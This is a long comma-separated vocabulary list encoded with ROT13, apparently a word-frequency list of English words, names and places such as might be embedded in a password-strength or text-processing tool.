aznfxrq,fnaqbzvrem,fjneguzber,grgen,analnat,crifare,qruenqha,zbezbavfz,enfuv,pbzcylvat,frncynarf,avatob,pbbcrengrf,fgengupban,zbeavatgba,zrfgvmb,lhyvn,rqtonfgba,cnyvfnqr,rguab,cbylgbcrf,rfcvevgb,glzbfuraxb,cebahapvngvbaf,cnenqbkvpny,gnvpuhat,puvczhaxf,reuneq,znkvzvfr,nppergvba,xnaqn,`noqh'y,aneebjrfg,hzcvevat,zlpranrna,qvivfbe,trargvpvfg,prerqvtvba,onedhr,uboolvfgf,rdhngrf,nhkreer,fcvabfr,purvy,fjrrgjngre,thnab,pneobklyvp,nepuvi,gnaarel,pbezbenag,ntbavfgf,shaqnpvba,naone,ghaxh,uvaqenapr,zrrehg,pbapbeqng,frphaqrenonq,xnpuva,npuvrinoyr,zheserrfobeb,pbzcerurafviryl,sbetrf,oebnqrfg,flapuebavfrq,fcrpvngvba,fpncn,nyvlri,pbazroby,gveryrffyl,fhowhtngrq,cvyyntrq,hqnvche,qrsrafviryl,ynxuf,fgngryrff,unnfna,urnqynzcf,cnggreavat,cbqvhzf,cbylcubal,zpzheqb,zhwre,ibpnyyl,fgberlrq,zhpbfn,zhygvinevngr,fpbchf,zvavzvmrf,sbeznyvfrq,pregvbenev,obhetrf,cbchyngr,bireunatvat,tnvrgl,haerfreirq,obeebzrb,jbbyjbeguf,vfbgbcvp,onfune,chevsl,iregroen,zrqna,whkgncbfvgvba,rnegujbex,rybatngvba,punhqunel,fpurzngvp,cvnfg,fgrrcrq,anabghorf,sbhyf,npunrn,yrtvbaanverf,noqhe,dzwuy,rzoenre,uneqonpx,pragreivyyr,vybpbf,fybina,juvgrubefr,znhevgvna,zbhyqvat,znchpur,qbaarq,cebivfvbavat,tnmcebz,wbarfobeb,nhqyrl,yvtugrfg,pnylk,pbyqjngre,gevtbabzrgevp,crgebtylcuf,cflpubnanylfg,pbatertngr,mnzormv,svffher,fhcreivfrf,orkyrl,rgbovpbxr,jnvenencn,grpgbavpf,rzcunfvfrf,sbezhyn_41,qrohttvat,yvasvryq,fcngvnyyl,vbavmvat,hathyngrf,bevabpb,pynqrf,reynatra,arjf/gnyx,ibyf.,prnen,lnxbiyri,svafohel,ragnatyrzrag,svryqubhfr,tencurar,vagrafvslvat,tevtbel,xrlbat,mnpngrpnf,avavna,nyytrzrvar,xrfjvpx,fbpvrgn,fabeev,srzvavavgl,anwvo,zbabpybany,thlnarfr,cbfghyngr,uhagyl,noorlf,znpuvavfg,lhahf,rzcunfvfvat,vfund,hezvn,oerzregba,cergraqref,yhzvrer,gubebhtusnerf,puvxnen,qenzngvmrq,zrgngubenk,gnvxb,genafpraqrapr,jlpyvssr,ergevrirf,hzcverq,fgrhora,enprubefrf,gnlybef,xhmargfbi,zbagrmhzn,cerpnzoevna,pnabcvrf,tnbmbat,cebcbqrhz,qvfrfgnoyvfurq,ergebnpgvir,fuberunz,euvmbzr,qbhoyrurnqre,pyvavpvna,qvjnyv,dhnegmvgr,funonno,ntnffvm,qrfcngpurq,fgbezjngre,yhkrzohet,pnyynb,havirefvqnqr,pbheynaq,fxnar,tylcu,qbezref,jvgjngrefenaq,phenpl,dhnypbzz,anafra,ragnoyngher,ynhcre,unhfqbess,yhfnxn,ehguravna,360qrt,pvglfpncr,qbhnv,invfuanin,fcnef,inhygvat,engvbanyvfg,tltnk,frdhrfgengvba,glcbybtl,cbyyvangrf,nppryrengbef,yrora,pbybavnyf,prabgncu,vzcnegrq,pneguntvavnaf,rdhnyrq,ebfgehz,tbovaq,obquvfnggin,borefg,ovplpyvat,nenov,fnater,ovbculfvpf,unvanhg,ireany,yharaohet,nccbegvbarq,svapurf,ynwbf,aranq,ercnpxntrq,mnlrq,avxrcubebf,e.r.z,fjnzvanenlna,trfgnyg,hacynprq,pentf,tebuy,fvnyxbg,hafnghengrq,tjvaargg,yvarzra,sbenlf,cnynxxnq,jevgf,vafgehzragnyvfgf,nveperjf,onqtrq,greencvaf,180qrt,bararff,pbzzvffnevng,punatv,chcngvba,pvephzfpevorq,pbagnqbe,vfbgebcvp,nqzvavfgengrq,svrsf,avzrf,vagehfvbaf,zvabeh,trfpuvpugr,anqcu,gnvana,punatpuha,pneobaqnyr,sevfvn,fjncb,rirfunz,unjnv'v,raplpybcrqvp,genafcbegref,qlfcynfvn,sbezhyn_42,bafvgr,wvaqny,thrggn,whqtrzragf,aneobaar,crezvffvbaf,cnyrbtrar,engvbanyvfz,ivyan,vfbzrgevp,fhogenpgrq,punggnubbpurr,ynzvan,zvffn,terivyyr,creirm,ynggvprf,crefvfgragyl,pelfgnyyvmngvba,gvzorerq,unjnvvnaf,sbhyvat,vagreeryngrq,znfbbq,evcravat,fgnfv,tnzny,ivfvtbguvp,jneyvxr,ploreargvpf,gnawhat,sbesne,ploreargvp,xneryvna,oebbxynaqf,orysbeg,tervsfjnyq,pnzcrpur,varkcyvpnoyl,ersrerrvat,haqrefgbel,havagrerfgrq,cevhf,pbyyrtvngryl,frsvq,fnefsvryq,pngrtbevmr,ovnaahny,ryfrivre,rvfgrqqsbq,qrpyrafvba,nhgbabzn,cebphevat,zvfercerfragngvba,abiryvmngvba,ovoyvbtencuvp,funznavfz,irfgzragf,cbgnfu,rnfgyrvtu,vbavmrq,ghena,ynivfuyl,fpvyyl,onynapuvar,vzcbegref,cneynapr,'gung,xnalnxhznev,flabqf,zvrfmxb,pebffbiref,fresqbz,pbasbezngvbany,yrtvfyngrq,rkpynir,urnguynaq,fnqne,qvssreragvngrf,cebcbfvgvbany,xbafgnagvabf,cubgbfubc,znapur,iryyber,nccnynpuvn,berfgrf,gnvtn,rkpunatre,tebmal,vainyvqngrq,onssva,fcrmvn,fgnhapuyl,rvfranpu,ebohfgarff,iveghbfvgl,pvcuref,vayrgf,obyntu,haqrefgnaqvatf,obfavnxf,cnefre,glcubbaf,fvana,yhmrear,jropbzvp,fhogenpgvba,wuryhz,ohfvarffjrrx,prfxr,ersenvarq,sverobk,zvgvtngrq,uryzubygm,qvyvc,rfynznonq,zrgnyjbex,yhpna,nccbegvbazrag,cebivqrag,tqlavn,fpubbaref,pnfrzrag,qnafr,unwwvnonq,oranmve,ohggerff,naguenpvgr,arjferry,jbyynfgba,qvfcngpuvat,pnqnfgeny,evireobng,cebivaprgbja,anagjvpu,zvffny,veerirerag,whkgncbfrq,qneln,raaboyrq,ryrpgebcbc,fgrerbfpbcvp,znarhirenovyvgl,ynona,yhunafx,hqvar,pbyyrpgvoyrf,unhyntr,ubylebbq,zngrevnyyl,fhcrepunetre,tbevmvn,fuxbqre,gbjaubhfrf,cvyngr,ynlbssf,sbyxybevp,qvnyrpgvp,rkhorenag,zngherf,znyyn,prhgn,pvgvmrael,perjrq,pbhcyrg,fgbcbire,genafcbfvgvba,genqrfzra,nagvbkvqnag,nzvarf,hggrenapr,tenunzr,ynaqyrff,vfrer,qvpgvba,nccryynag,fngvevfg,heovab,vagregbgb,fhovnpb,nagbarfph,arurzvnu,hovdhvgva,rzprr,fgbheoevqtr,srapref,103eq,jenatyref,zbagrireqv,jngregvtug,rkcbhaqrq,kvnzra,znazbuna,cvevr,guerrsbyq,nagvqrcerffnag,furobltna,tevrt,pnaprebhf,qviretvat,oreavav,cbylpuebzr,shaqnzragnyvfz,ovunev,pevgvdhrq,pubynf,ivyyref,graqhyxne,qnslqq,infgen,sevatrq,rinatryvmngvba,rcvfpbcnyvna,znyvxv,fnan'n,nfuohegba,gevnaba,nyyrtnal,urcgnguyba,vafhssvpvragyl,cnaryvfgf,cuneeryy,urkunz,nzunevp,sregvyvmrq,cyhzrf,pvfgrea,fgengvtencul,nxrefuhf,pngnynaf,xnebb,ehcrr,zvahgrzna,dhnagvsvpngvba,jvtzber,yrhganag,zrgnabghz,jrrxavtugf,vevqrfprag,rkgenfbyne,oerpuva,qrhgrevhz,xhpuvat,ylevpvfz,nfgenxuna,oebbxunira,rhcubeovn,uenqrp,ountng,ineqne,nlyzre,cbfvgeba,nzltqnyn,fcrphyngbef,hanppbzcnavrq,qroerpra,fyheel,jvaqubrx,qvfnssrpgrq,enccbegrhe,zryyvghf,oybpxref,sebaqf,lngen,fcbegfcrefba,cerprffvba,culfvbybtvfg,jrrxavtug,cvqtva,cunezn,pbaqrzaf,fgnaqneqvmr,mrgvna,gvobe,tylpbcebgrva,rzcbevn,pbezbenagf,nznyvr,npprffrf,yrbauneq,qraovtufuver,ebnyq,116gu,jvyy.v.nz,flzovbfvf,cevingvfrq,zrnaqref,purzavgm,wnonyche,fuvat,frprqr,yhqivt,xenwvan,ubzrtebja,favccrgf,fnfnavna,rhevcvqrf,crqre,pvzneeba,fgernxrq,tenhohaqra,xvyvznawneb,zorxv,zvqqyrjner,syrafohet,ohxbivan,yvaqjnyy,znefnyvf,cebsvgrq,noxunm,cbyvf,pnzbhsyntrq,nzlybvq,zbetnagbja,bibvq,obqyrvna,zbegr,dhnfurq,tnzryna,whiraghq,angpuvgbpurf,fgbelobneq,serrivrj,rahzrengvba,pvryb,ceryhqrf,ohynjnlb,1600f,bylzcvnqf,zhygvpnfg,snhany,nfhen,ervasbeprf,chenanf,mvrtsryq,unaqvpensg,frnzbhag,xurvy,abpur,unyyznexf,qrezny,pbyberpgny,rapvepyr,urffra,hzovyvphf,fhaavf,yrfgr,hajva,qvfpybfvat,fhcreshaq,zbagzneger,ershryyvat,fhocevzr,xbyunche,rgvbybtl,ovfzhgu,ynvffrm,ivoengvbany,znmne,nypbn,ehzfsryq,erpheir,gvpbaqrebtn,yvbaftngr,baybbxref,ubzrfgrnqf,svyrflfgrz,onebzrgevp,xvatfjbbq,ovbshry,oryyrmn,zbfuni,bppvqragnyvf,nflzcgbzngvp,abegurnfgreyl,yrirfba,uhltraf,ahzna,xvatfjnl,cevzbtravgher,gblbgbzv,lnmbb,yvzcrgf,terraoryg,obbrq,pbapheerapr,qvurqeny,iragevgrf,envche,fvovh,cybggref,xvgno,109gu,genpxorq,fxvyshy,oregurq,rssraqv,snvevat,frcuneqv,zvxunvybivpu,ybpxlre,jnqunz,vairegvoyr,cncreonpxf,nycunorgvp,qrhgrebabzl,pbafgvghgvir,yrngurel,terlubhaqf,rfgbevy,orrpupensg,cboynpvba,pbffvqnr,rkpergrq,synzvatbf,fvatun,byzrp,arhebgenafzvggref,nfpbyv,axehznu,sberehaaref,qhnyvfz,qvfrapunagrq,orarsvggrq,pragehz,haqrfvtangrq,abvqn,b'qbabtuhr,pbyyntrf,rtergf,rtzbag,jhccregny,pyrnir,zbagtbzrevr,cfrhqbzbanf,fevavinfn,ylzcungvp,fgnqvn,erfbyq,zvavzn,rinphrrf,pbafhzrevfz,ebaqr,ovbpurzvfg,nhgbzbecuvfz,ubyybjf,fzhgf,vzcebivfngvbaf,irfcnfvna,oernz,cvzyvpb,rtyva,pbyar,zrynapubyvp,oreunq,bhfgvat,fnnyr,abgnhyvprf,bhrfg,uhafyrg,gvorevnf,noqbzvan,enzftngr,fgnavfynf,qbaonff,cbagrsenpg,fhpebfr,unygf,qenzzra,puryz,y'nep,gnzvat,gebyyrlf,xbava,vapregnr,yvprafrrf,fplguvna,tvbetbf,qngvir,gnatyrjbbq,snezynaqf,b'xrrssr,pnrfvhz,ebzfqny,nzfgenq,pbegr,btyrgubecr,uhagvatqbafuver,zntargvmngvba,nqncgf,mnzbfp,fubbgb,phggnpx,pragercvrpr,fgberubhfr,jvarubhfr,zbeovqvgl,jbbqphgf,elnmna,ohqqyrwn,ohblnag,obqzva,rfgreb,nhfgeny,irevsvnoyr,crevlne,puevfgraqbz,phegnvy,fuhen,xnvsrat,pbgfjbyq,vainevnapr,frnsnevat,tbevpn,naqebtra,hfzna,frnoveq,sberpbheg,crxxn,whevqvpny,nhqnpvbhf,lnffre,pnpgv,dvnaybat,cbyrzvpny,q'nzber,rfcnalby,qvfgevgb,pnegbtencuref,cnpvsvfz,frecragf,onpxn,ahpyrbcuvyvp,biregheavat,qhcyvpngrf,znexfzna,bevragr,ihvggba,boreyrhganag,tvrythq,trfgn,fjvaohear,genafsvthengvba,1750f,ergnxra,prywr,serqevxfgnq,nfhxn,pebccvat,znafneq,qbangrf,oynpxfzvguf,ivwnlnantnen,nahenqunchen,trezvangr,orgvf,sberfuber,wnynaqune,onlbargf,qrinyhngvba,senmvbar,noynmr,novqwna,nccebinyf,ubzrbfgnfvf,pbebyynel,nhqra,fhcresnfg,erqpyvssr,yhkrzobhetvfu,qnghz,trenyqgba,cevagvatf,yhquvnan,ubaberr,flapuebgeba,vairepnetvyy,uheevrqyl,108gu,guerr-naq-n-unys,pbybavfg,orkne,yvzbhfva,orffrzre,bffrgvna,ahangnxf,ohqqunf,erohxrq,gunvf,gvyohet,ireqvpgf,vagreyrhxva,hacebira,qbeqerpug,fbyrag,nppynzngvba,zhnzzne,qnubzrl,bcrerggnf,4k400,neernef,artbgvngbef,juvgrunira,nccnevgvbaf,nezbhel,cflpubnpgvir,jbefuvcref,fphycgherq,rycuvafgbar,nvefubj,xwryy,b'pnyyntuna,fuenax,cebsrffbefuvcf,cerqbzvanapr,fhounfu,pbhybzo,frxbynu,ergebsvggrq,fnzbf,bireguebjvat,ivoengb,erfvfgbef,cnyrnepgvp,qngnfrgf,qbbeqnefuna,fhophgnarbhf,pbzcvyrf,vzzbenyvgl,cngpujbex,gevavqnqvna,tylpbtra,cebatrq,mbune,ivfvtbguf,sererf,nxenz,whfgb,ntben,vagnxrf,penvbin,cynljevgvat,ohxunev,zvyvgnevfz,vjngr,crgvgvbaref,uneha,jvfyn,varssvpvrapl,iraqbzr,yrqtrf,fpubcraunhre,xnfuv,ragbzorq,nffrffrf,graa.,abhzrn,onthvb,pnerk,b'qbabina,svyvatf,uvyyfqnyr,pbawrpgherf,oybgpurf,naahnyf,yvaqvfsnear,artngrq,ivirx,natbhyrzr,gevapbznyrr,pbsnpgbe,irexubian,onpxsvryq,gjbsbyq,nhgbznxre,ehqen,servtugref,qnehy,tunenan,ohfjnl,sbezhyn_43,cynggfohetu,cbeghthrfn,fubjehaare,ebnqznc,inyrapvraarf,reqbf,ovnsen,fcvevghnyvfz,genafnpgvbany,zbqvsvrf,pnear,107gu,pbpbf,tpfrf,gviregba,enqvbgurencl,zrnqbjynaqf,thazn,feroeravpn,sbkgry,nhguragvpngrq,rafynirzrag,pynffvpvfg,xynvcrqn,zvafgeryf,frnepunoyr,vasnagelzra,vapvgrzrag,fuvtn,anqc+,henyf,thvyqref,onadhrgf,rkgrevbef,pbhagrenggnpxf,ivfhnyvmrq,qvnpevgvpf,cngevzbal,firaffba,genafrcgf,cevmera,gryrtencul,anwns,rzoynmbarq,pbhcrf,rssyhrag,entnz,bznav,terrafohet,gnvab,syvagfuver,pq/qiq,yboovrf,aneengvat,pnpnb,frnsneref,ovpbybe,pbyynobengviryl,fhenw,sybbqyvg,fnpeny,chccrgel,gyvatvg,znyjn,ybtva,zbgvbayrff,guvra,birefrref,ivune,tbyrz,fcrpvnyvmngvbaf,onguubhfr,cevzvat,bireqhof,jvaavatrfg,nepurglcrf,havnb,npynaq,pernzrel,fybinxvna,yvgubtencuf,znelobebhtu,pbasvqragyl,rkpningvat,fgvyyobea,enznyynu,nhqvrapvn,nynin,greanel,urezvgf,ebfgnz,onhkvgr,tnjnva,ybgunve,pncgvbaf,thysfgernz,gvzryvarf,erprqrq,zrqvngvat,crgnva,onfgvn,ehqone,ovqqref,qvfpynvzre,fuerjf,gnvyvatf,gevybovgrf,lhevl,wnzvy,qrzbgvba,tlarpbybtl,enwvavxnagu,znqevtnyf,tunmav,sylpngpuref,ivgrofx,ovmrg,pbzchgngvbanyyl,xnfutne,ersvarzragf,senaxsbeq,urenyqf,rhebcr/nsevpn,yrinagr,qvfbeqrerq,fnaqevatunz,dhrhrf,enafnpxrq,gerovmbaq,ireqrf,pbzrqvr,cevzvgvirf,svthevar,betnavfgf,phyzvangr,tbfcbeg,pbnthyngvba,sreelvat,ublnf,cbylhergunar,cebuvovgvir,zvqsvryqref,yvtnfr,cebtrfgrebar,qrsrpgbef,fjrrgrarq,onpxpbhagel,qvbqbehf,jngrefvqr,avrhcbeg,xujnwn,whebat,qrpevrq,tbexun,vfznvyv,300gu,bpgnurqeny,xvaqretnegraf,cnfrb,pbqvsvpngvba,abgvsvpngvbaf,qvfertneqvat,evfdhr,erpbadhvfgn,fubegynaq,ngbyyf,grknexnan,crepriny,q'rghqrf,xnany,ureovpvqrf,gvxin,ahbin,tngurere,qvffragrq,fbjrgb,qrkgrevgl,raire,onpunenpu,cynprxvpxre,pneavinyf,nhgbzngr,znlabbgu,flzcyrpgvp,purgavx,zvyvgnver,hcnavfunqf,qvfgevohgvir,fgensvat,punzcvbavat,zbvrgl,zvyvonaq,oynpxnqqre,rasbeprnoyr,znhat,qvzre,fgnqgonua,qviretrf,bofgehpgvbaf,pbyrbcubevqnr,qvfcbfnyf,funzebpxf,nheny,onapn,onueh,pbkrq,tevrefba,inanqvhz,jngrezvyy,enqvngvir,rpbertvbaf,orergf,unevev,ovpneobangr,rinphngvbaf,znyyrr,anvea,ehfuqra,ybttvn,fyhcfx,fngvfsnpgbevyl,zvyyvfrpbaqf,pnevobb,ervar,plpyb,cvtzragngvba,cbfgzbqreavfz,ndhrqhpgf,infnev,obhetbtar,qvyrzznf,yvdhrsvrq,syhzvarafr,nyybn,vonenxv,grarzragf,xhznfv,uhzrehf,entuh,ynobhef,chgfpu,fbhaqpybhq,obqlohvyqre,enxlng,qbzvgvna,crfneb,genafybpngvba,frzovyna,ubzrevp,rasbepref,gbzofgbarf,yrpgherfuvc,ebgbehn,fnynzvf,avxbynbf,vasreraprf,fhcresbegerff,yvgutbj,fhezvfrq,haqrepneq,gneabj,onevfna,fgvatenlf,srqrenpvba,pbyqfgernz,uniresbeq,beavgubybtvpny,urrerairra,ryrnmne,wlbgv,zhenyv,onznxb,evireorq,fhofvqvfrq,gurona,pbafcvphbhfyl,ivfgnf,pbafreingbevhz,znqenfn,xvatsvfuref,neahys,perqragvny,flaqvpnyvfg,furngurq,qvfpbagvahvgl,cevfzf,gfhfuvzn,pbnfgyvarf,rfpncrrf,ivgvf,bcgvzvmvat,zrtncvkry,biretebhaq,rzonggyrq,unyvqr,fcevagref,ohblf,zchznynatn,crphyvnevgvrf,106gu,ebnzrq,zrarmrf,znpnb,ceryngrf,cnclev,serrzra,qvffregngvbaf,vevfuzra,cbbyrq,fireer,erpbadhrfg,pbairlnapr,fhowrpgvivgl,nfghevna,pvepnffvna,sbezhyn_45,pbzqe,guvpxrgf,hafgerffrq,zbaeb,cnffviryl,unezbavhz,zbirnoyr,qvane,pneyffba,rylfrrf,punvevat,o'anv,pbashfvatyl,xnbeh,pbaibyhgvba,tbqbycuva,snpvyvgngbe,fnkbcubarf,rrynz,wrory,pbchyngvba,navbaf,yvierf,yvprafher,cbaglcevqq,nenxna,pbagebyynoyr,nyrffnaqevn,cebcryyvat,fgryyraobfpu,gvore,jbyxn,yvorengbef,lneaf,q'nmhe,gfvatuhn,frzana,nzunen,noyngvba,zryvrf,gbanyvgl,uvfgbevdhr,orrfgba,xnuar,vagevpngryl,fbabena,eborfcvreer,tlehf,oblpbggf,qrsnhygrq,vasvyy,znenaunb,rzvterf,senzvatunz,cnenvon,jvyuryzfunira,gevgvhz,fxljnl,ynovny,fhccyrzragngvba,cbffrffbe,haqrefreirq,zbgrgf,znyqvivna,zneenxrpu,dhnlf,jvxvzrqvn,gheobwrg,qrzbovyvmngvba,crgenepu,rapebnpuvat,fybbcf,znfgrq,xneonyn,pbeinyyvf,ntevohfvarff,frnsbeq,fgrabfvf,uvrebalzhf,venav,fhcreqensg,onebavrf,pbegvfby,abgnovyvgl,irran,cbagvp,plpyva,nepurbybtvfgf,arjunz,phyyrq,pbapheevat,nrbyvna,znabevny,fubhyqrerq,sbeqf,cuvynaguebcvfgf,105gu,fvqqunegu,tbgguneq,unyvz,enwfunuv,whepura,qrgevghf,cenpgvpnoyr,rnegurajner,qvfpneqvat,genirybthr,arhebzhfphyne,ryxuneg,enrqre,mltzhag,zrgnfgnfvf,vagrearrf,102aq,ivtbhe,hcznexrg,fhzznevmvat,fhowhapgvir,bssfrgf,ryvmnorgugbja,hqhcv,cneqhovpr,ercrngref,vafgvghgvat,nepunrn,fhofgnaqneq,grpuavfpur,yvatn,nangbzvfg,sybhevfurf,iryvxn,grabpugvgyna,rinatryvfgvp,svgpuohet,fcevatobx,pnfpnqvat,ulqebfgngvp,ninef,bppnfvbarq,svyvcvan,creprvivat,fuvzoha,nsevpnahf,pbafgreangvba,gfvat,bcgvpnyyl,orvgne,45qrt,nohgzragf,ebfrivyyr,zbabzref,uhryin,ybggrevrf,ulcbgunynzhf,vagreangvbanyvfg,ryrpgebzrpunavpny,uhzzvatoveqf,svoertynff,fnynevrq,qenzngvfgf,hapbiref,vaibxrf,rnearef,rkpergvba,tryqvat,napvra,nrebanhgvpn,unireuvyy,fgbhe,vggvunq,noenzbss,lnxbi,nlbquln,nppryrengrf,vaqhfgevnyyl,nrebcynarf,qryrgrevbhf,qjryg,oryibve,unecnyhf,ngcnfr,znyhxh,nynfqnve,cebcbegvbanyvgl,gnena,rcvfgrzbybtvpny,vagresrebzrgre,cbylcrcgvqr,nqwhqtrq,ivyyntre,zrgnfgngvp,znefunyyf,znqunina,nepuqhpurff,jrvmznaa,xnytbbeyvr,onyna,cerqrsvarq,frffvyr,fntnvat,oerivgl,vafrpgvpvqr,cflpubfbpvny,nsevpnan,fgrryjbexf,nrgure,ndhvsref,oryrz,zvarveb,nyznteb,enqvngbef,prabmbvp,fbyhgr,gheobpunetre,vaivpgn,thrfgrq,ohppnarre,vqbyngel,hazngpurq,cnqhpnu,fvarfgeb,qvfcbffrffrq,pbasbezf,erfcbafvirarff,plnabonpgrevn,synhgvfg,cebphengbe,pbzcyrzragvat,frzvsvanyvfg,erpunetrnoyr,creznsebfg,plgbxvar,ershtrf,obbzrq,tryqreynaq,senapuvfrq,wvana,oheavr,qbhogyrff,enaqbzarff,pbyfcna=12,naten,tvaroen,snzref,ahrfgeb,qrpynengvir,ebhtuarff,ynhraohet,zbgvyr,erxun,vffhre,cvarl,vagreprcgbef,ancbpn,tvcfl,sbezhynvp,sbezhyn_44,ivfjnanguna,roenuvz,gurffnybavpn,tnyrevn,zhfxbtrr,hafbyq,ugzy5,gnvgb,zbohgh,vpnaa,pneaneiba,snvegenqr,zbecuvfzf,hcfvyba,abmmyrf,snovhf,zrnaqre,zhehtna,fgebagvhz,rcvfpbcnpl,fnaqvavfgn,cnenfby,nggrahngrq,ouvzn,cevzriny,cnanl,beqvangbe,artnen,bfgrbcbebfvf,tybffbc,robbx,cnenqbkvpnyyl,terivyyrn,zbqbp,rdhngvat,cubargvpnyyl,yrthzrf,pbinevnag,qbewr,dhnger,oehkryyrf,clebpynfgvp,fuvcohvyqre,munbmbat,bofphevat,firevtrf,gerzbyb,rkgrafvoyr,oneenpx,zhygabznu,unxba,pununeznuny,cnefvat,ibyhzrgevp,nfgebculfvpny,tybggny,pbzovangbevpf,serrfgnaqvat,rapbqre,cnenylfrq,pninyelzra,gnobbf,urvyoebaa,bevragnyvf,ybpxcbeg,zneiryf,bmnjn,qvfcbfvgvbaf,jnqref,vapheevat,fnygver,zbqhyngr,cncvyvb,curaby,vagrezrqvn,enccnunaabpx,cynfzvq,sbegvsl,curabglcrf,genafvgvat,pbeerfcbaqraprf,yrnthre,yneanpn,vapbzcngvovyvgl,zpraebr,qrrzvat,raqrnibherq,nobevtvanyf,uryzrq,fnyne,netvavar,jrexr,sreenaq,rkcebcevngrq,qryvzvgrq,pbhcyrgf,cubravpvnaf,crgvbyrf,bhfgre,nafpuyhff,cebgrpgvbavfg,cyrffvf,hepuvaf,bedhrfgn,pnfgyrgba,whavngn,ovggbeerag,shynav,qbawv,zlxbyn,ebfrzbag,punaqbf,fprcgvpvfz,fvtare,punyhxln,jvpxrgxrrcre,pbdhvgynz,cebtenzzngvp,b'oevna,pnegrerg,hebybtl,fgrryurnq,cnyrbprar,xbaxna,orggrerq,iraxngrfu,fhesnpvat,ybatvghqvanyyl,praghevbaf,cbchynevmngvba,lnmvq,qbheb,jvqguf,cerzvbf,yrbaneqf,tevfgzvyy,snyyhwnu,nermmb,yrsgvfgf,rpyvcgvp,tylpreby,vanpgvba,qvfrasenapuvfrq,npevzbavbhf,qrcbfvgvat,cnenfunu,pbpxngbb,znerpuny,obymnab,puvbf,pnoyrivfvba,vzcnegvnyvgl,cbhpurf,guvpxyl,rdhvgvrf,oragvapx,rzbgvir,obfba,nfuqbja,pbadhvfgnqbef,cnefv,pbafreingvbavfgf,erqhpgvir,arjynaqf,pragreyvar,beavgubybtvfgf,jnirthvqr,avprar,cuvybybtvpny,urzry,frgnagn,znfnyn,ncuvqf,pbairavat,pnfpb,zngevyvarny,punyprqba,begubtencuvp,ulgur,ercyrgr,qnzzvat,obyvinevna,nqzvkgher,rzonexf,obeqreynaqf,pbasbezrq,antnewhan,oyraal,punvgnaln,fhjba,fuvtreh,gngnefgna,yvatnlra,erwbvaf,tebqab,zrebivatvna,uneqjvpxr,chqhpureel,cebgbglcvat,ynkzv,hcurninyf,urnqdhnegre,cbyyvangbef,oebzvar,genafbz,cynagntrarg,neohguabg,puvqnzonenz,jbohea,bfnzh,cnaryyvat,pbnhguberq,mubatfuh,ulnyvar,bzvffvbaf,nfcretvyyhf,bssrafviryl,ryrpgebylgvp,jbbqphg,fbqbz,vagrafvgvrf,pylqronax,cvbgexbj,fhccyrzragvat,dhvccrq,sbpxr,uneovatre,cbfvgvivfz,cnexynaqf,jbysraohggry,pnhpn,gelcgbcuna,gnhahf,pheentu,gfbatn,erznaq,bofphen,nfuvxntn,rygunz,sberyvzof,nanybtf,geanin,bofreinaprf,xnvynfu,nagvgurfvf,nlhzv,nolffvavn,qbefnyyl,genyrr,chefhref,zvfnqiragherf,cnqbin,crebg,znunqri,gnevz,tenagu,yvpraprq,pbzcnavn,cnghkrag,onebavny,xbeqn,pbpunonzon,pbqvprf,xnean,zrzbevnyvmrq,frzncuber,cynlyvfgf,znaqvohyne,unyny,fvinwv,fpuremvatre,fgenyfhaq,sbhaqevrf,evobfbzr,zvaqshyarff,avxbynlrivpu,cnenculyrgvp,arjfernqre,pngnylmr,vbnaavan,gunynzhf,tovg/f,cnlznfgre,fneno,500gu,ercyravfurq,tnzrceb,penpbj,sbezhyn_46,tnfpbal,erohevrq,yrffvat,rnfrzrag,genafcbfrq,zrhegur,fngverf,cebivfb,onygunfne,haobhaq,phpxbbf,qheone,ybhvfobhet,pbjrf,jubyrfnyref,znarg,anevgn,kvnbcvat,zbunznq,vyyhfbel,pnguny,erhcgnxr,nyxnybvq,gnueve,zzbect,haqreyvrf,natyvpnavfz,ercgba,nuneba,rkbtrabhf,ohpurajnyq,vaqvtrag,bqbfgbzvn,zvyyrq,fnagbehz,gbhatbb,arifxl,fgrle,heonavfngvba,qnexfrvq,fhofbavp,pnannavgr,nxvin,rtyvfr,qragvgvba,zrqvngbef,pveraprfgre,crybcbaarfvna,znyzrfohel,qheerf,breyvxba,gnohyngrq,fnraf,pnanevn,vfpurzvp,rfgreunml,evatyvat,pragenyvmngvba,jnygunzfgbj,anynaqn,yvtavgr,gnxug,yravavfz,rkcvevat,pvepr,culgbcynaxgba,cebzhytngvba,vagrtenoyr,oerrpurf,nnygb,zrabzvarr,obetb,fplguvnaf,fxehyy,tnyyrba,ervairfgzrag,entyna,ernpunoyr,yvorerp,nvesenzrf,ryrpgebylfvf,trbfcngvny,ehovnprnr,vagreqrcraqrapr,flzzrgevpnyyl,fvzhypnfgf,xrrayl,znhan,nqvcbfr,mnvqv,snvecbeg,irfgvohyne,npghngbef,zbabpuebzngvp,yvgrengherf,pbatrfgvir,fnpenzragny,ngubyy,fxlgenva,glpub,ghavatf,wnzvn,pngunevan,zbqvsvre,zrguhra,gncvatf,vasvygengvat,pbyvzn,tensgvat,gnhenatn,unyvqrf,cbagvsvpngr,cubargvpf,xbcre,unsrm,tebbirq,xvagrgfh,rkgenwhqvpvny,yvaxbcvat,plorechax,ercrgvgvbaf,ynheragvna,cneah,oerggba,qnexb,fireqybifx,sberfunqbjrq,nxurangra,eruadhvfg,tbfsbeq,pbiregf,centzngvfz,oebnqyrns,rguvbcvnaf,vafgngrq,zrqvngrf,fbqen,bchyrag,qrfpevcgbe,rahth,fuvzyn,yrrfohet,bssvprefuvc,tvssneq,ersrpgbel,yhfvgnavn,plorezra,svhzr,pbehf,glqsvy,ynjeraprivyyr,bpnyn,yrivgvphf,oheturef,ngnkvn,evpugubsra,nzvpnoyl,npbhfgvpny,jngyvat,vadhverq,gvrzcb,zhygvenpvny,cnenyyryvfz,gerapuneq,gbxlbcbc,treznavhz,hfvfy,cuvyunezbavn,funche,wnpbovgrf,yngvavmrq,fbcubpyrf,erzvggnaprf,b'sneeryy,nqqre,qvzvgevbf,crfujn,qvzvgne,beybi,bhgfgergpurq,zhfhzr,fngvfu,qvzrafvbayrff,frevnyvfrq,oncgvfzf,cntnfn,nagviveny,1740f,dhvar,nencnub,obzoneqzragf,fgengbfcurer,bcugunyzvp,vawhapgvbaf,pneobangrq,abaivbyrapr,nfnagr,perbyrf,floen,obvyreznxref,novatgba,ovcnegvgr,crezvffvir,pneqvanyvgl,naurhfre,pnepvabtravp,uburaybur,fhevanz,fmrtrq,vasnagvpvqr,trarevpnyyl,sybbeonyy,'juvgr,nhgbznxref,preroryyne,ubzbmltbhf,erzbgrarff,rssbegyrffyl,nyyhqr,'terng,urnqznfgref,zvagvat,znapuhevna,xvanonyh,jrzlff,frqvgvbhf,jvqtrgf,zneoyrq,nyzfubhfrf,oneqf,fhotraerf,grgfhln,snhygvat,xvpxobkre,tnhyv